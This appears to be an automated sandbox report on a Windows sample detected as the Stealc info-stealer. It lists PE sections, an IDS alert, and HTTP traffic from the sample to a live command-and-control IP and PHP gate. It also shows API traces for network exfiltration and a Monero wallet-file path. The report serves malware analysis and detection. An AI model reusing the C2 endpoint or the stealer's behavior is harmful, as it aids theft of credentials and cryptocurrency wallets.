IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	7943013b848e93da4b34df6db7191893	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29b000	0x200	e5a29b04f6c072450b71528501588f8a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bctajgqz	0x4f9000	0x19d000	0x19ca00	01ce4d1addb5a847768d54ef091d1cb8	False	0.9949198632990003	data	7.953531786807203	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
phttshfa	0x696000	0x1000	0x600	376cb0d862309905cdd0e82c11f276d2	False	0.556640625	data	4.918785667922125	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x697000	0x3000	0x2200	7d1c25521754e3871be1af956d8eb81a	False	0.06410845588235294	DOS executable (COM)	0.7215987148621581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-28T03:23:04.686587+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.9	49706	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2024 03:23:03.722526073 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:03.727597952 CEST	80	49706	185.215.113.37	192.168.2.9
Sep 28, 2024 03:23:03.727861881 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:03.728097916 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:03.732861042 CEST	80	49706	185.215.113.37	192.168.2.9
Sep 28, 2024 03:23:04.442666054 CEST	80	49706	185.215.113.37	192.168.2.9
Sep 28, 2024 03:23:04.442723989 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:04.454196930 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:04.458985090 CEST	80	49706	185.215.113.37	192.168.2.9
Sep 28, 2024 03:23:04.686531067 CEST	80	49706	185.215.113.37	192.168.2.9
Sep 28, 2024 03:23:04.686587095 CEST	49706	80	192.168.2.9	185.215.113.37
Sep 28, 2024 03:23:07.708157063 CEST	49706	80	192.168.2.9	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	185.215.113.37	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Sep 28, 2024 03:23:03.728097916 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 28, 2024 03:23:04.442666054 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 01:23:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 28, 2024 03:23:04.454196930 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEGHDGHCGHDHJKFBFBK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 36 42 31 36 36 33 42 38 30 33 38 31 38 30 36 39 37 30 37 35 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 47 48 44 47 48 43 47 48 44 48 4a 4b 46 42 46 42 4b 2d 2d 0d 0a Data Ascii: ------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="hwid"96B1663B80381806970752------JKEGHDGHCGHDHJKFBFBKContent-Disposition: form-data; name="build"save------JKEGHDGHCGHDHJKFBFBK--
Sep 28, 2024 03:23:04.686531067 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 28 Sep 2024 01:23:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	1
Start time:	21:22:58
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x920000
File size:	1'846'784 bytes
MD5 hash:	E904093EF887CB372B3FE7AB75E6C6C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000003.1340711226.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.1386340367.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00939860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76F70000,010541F8), ref: 009398A1
GetProcAddress.KERNEL32(76F70000,01054228), ref: 009398BA
GetProcAddress.KERNEL32(76F70000,01054258), ref: 009398D2
GetProcAddress.KERNEL32(76F70000,01054150), ref: 009398EA
GetProcAddress.KERNEL32(76F70000,010540D8), ref: 00939903
GetProcAddress.KERNEL32(76F70000,01058E10), ref: 0093991B
GetProcAddress.KERNEL32(76F70000,01046260), ref: 00939933
GetProcAddress.KERNEL32(76F70000,010461E0), ref: 0093994C
GetProcAddress.KERNEL32(76F70000,01054198), ref: 00939964
GetProcAddress.KERNEL32(76F70000,010540C0), ref: 0093997C
GetProcAddress.KERNEL32(76F70000,01054168), ref: 00939995
GetProcAddress.KERNEL32(76F70000,01054180), ref: 009399AD
GetProcAddress.KERNEL32(76F70000,01046360), ref: 009399C5
GetProcAddress.KERNEL32(76F70000,010541B0), ref: 009399DE
GetProcAddress.KERNEL32(76F70000,01059228), ref: 009399F6
GetProcAddress.KERNEL32(76F70000,01046460), ref: 00939A0E
GetProcAddress.KERNEL32(76F70000,01059360), ref: 00939A27
GetProcAddress.KERNEL32(76F70000,01059378), ref: 00939A3F
GetProcAddress.KERNEL32(76F70000,01046400), ref: 00939A57
GetProcAddress.KERNEL32(76F70000,01059240), ref: 00939A70
GetProcAddress.KERNEL32(76F70000,01046520), ref: 00939A88
LoadLibraryA.KERNEL32(01059210,?,00936A00), ref: 00939A9A
LoadLibraryA.KERNEL32(01059258,?,00936A00), ref: 00939AAB
LoadLibraryA.KERNEL32(010591B0,?,00936A00), ref: 00939ABD
LoadLibraryA.KERNEL32(01059270,?,00936A00), ref: 00939ACF
LoadLibraryA.KERNEL32(010591C8,?,00936A00), ref: 00939AE0
GetProcAddress.KERNEL32(76DA0000,01059288), ref: 00939B02
GetProcAddress.KERNEL32(75840000,010591E0), ref: 00939B23
GetProcAddress.KERNEL32(75840000,010592A0), ref: 00939B3B
GetProcAddress.KERNEL32(753A0000,01059330), ref: 00939B5D
GetProcAddress.KERNEL32(77300000,01046500), ref: 00939B7E
GetProcAddress.KERNEL32(774D0000,01058DB0), ref: 00939B9F
GetProcAddress.KERNEL32(774D0000,NtQueryInformationProcess), ref: 00939BB6

Strings

NtQueryInformationProcess, xrefs: 00939BAA

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: e43167228c2de61e1f43585264dccaaef8567aae87a66508368ad6d6ab87d2c2
Instruction ID: 9c4764b9235f323e7f3ea578ca8725097add8e93c36c325dc4ec05006c9d8627
Opcode Fuzzy Hash: e43167228c2de61e1f43585264dccaaef8567aae87a66508368ad6d6ab87d2c2
Instruction Fuzzy Hash: 52A13CB55012409FDB44EFA8EE98A6637F9F78C301704451AE609E32E4DEBDA841DF63

Function 009245C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 0092460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 0092479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009246AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009245E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009245C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009246D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009246C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009246B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009245F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009246CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009245D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009245DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0092474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00924617

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 5b2a113903bf862b07eb7057bf0814963b68615684a9440ca80d4e7e3b9f614b
Instruction ID: ee79abb0b0be138a5c0fd538c639270dba3a94191422892524fa7f83b886e76b
Opcode Fuzzy Hash: 5b2a113903bf862b07eb7057bf0814963b68615684a9440ca80d4e7e3b9f614b
Instruction Fuzzy Hash: 994136607D6E047BC638BBE5A86EEFF77565FD6B08F815040A8485228BCAF0A50C453A

Function 00924880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 009247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00924839
Part of subcall function 009247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00924849

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00924915
StrCmpCA.SHLWAPI(?,0105E790), ref: 0092493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00924ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00940DDB,00000000,?,?,00000000,?,",00000000,?,0105E6F0), ref: 00924DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00924E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00924E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00924E49
InternetCloseHandle.WININET(00000000), ref: 00924EAD
InternetCloseHandle.WININET(00000000), ref: 00924EC5
HttpOpenRequestA.WININET(00000000,0105E810,?,0105EAD0,00000000,00000000,00400100,00000000), ref: 00924B15

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A920: lstrcpy.KERNEL32(00000000,?), ref: 0093A972
Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

InternetCloseHandle.WININET(00000000), ref: 00924ECF

Strings

------, xrefs: 009249BD
------, xrefs: 00924C69
", xrefs: 00924D33
", xrefs: 00924BF2
------, xrefs: 00924B28

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 6d6aacd2f10cae9fbb8547c42782ee08ee2ed4ebf0d1b2cf5d8f456fdeaafc6b
Instruction ID: 14216f5fec0592fda5fc82cd9adbccf16451b028803429423abdf16804e6c8c9
Opcode Fuzzy Hash: 6d6aacd2f10cae9fbb8547c42782ee08ee2ed4ebf0d1b2cf5d8f456fdeaafc6b
Instruction Fuzzy Hash: AC12B972910218AADB15EB90DC92FEEB779AF94300F504199F14673091EF742F49CF66

Function 009378E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00937910
RtlAllocateHeap.NTDLL(00000000), ref: 00937917
GetComputerNameA.KERNEL32(?,00000104), ref: 0093792F

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
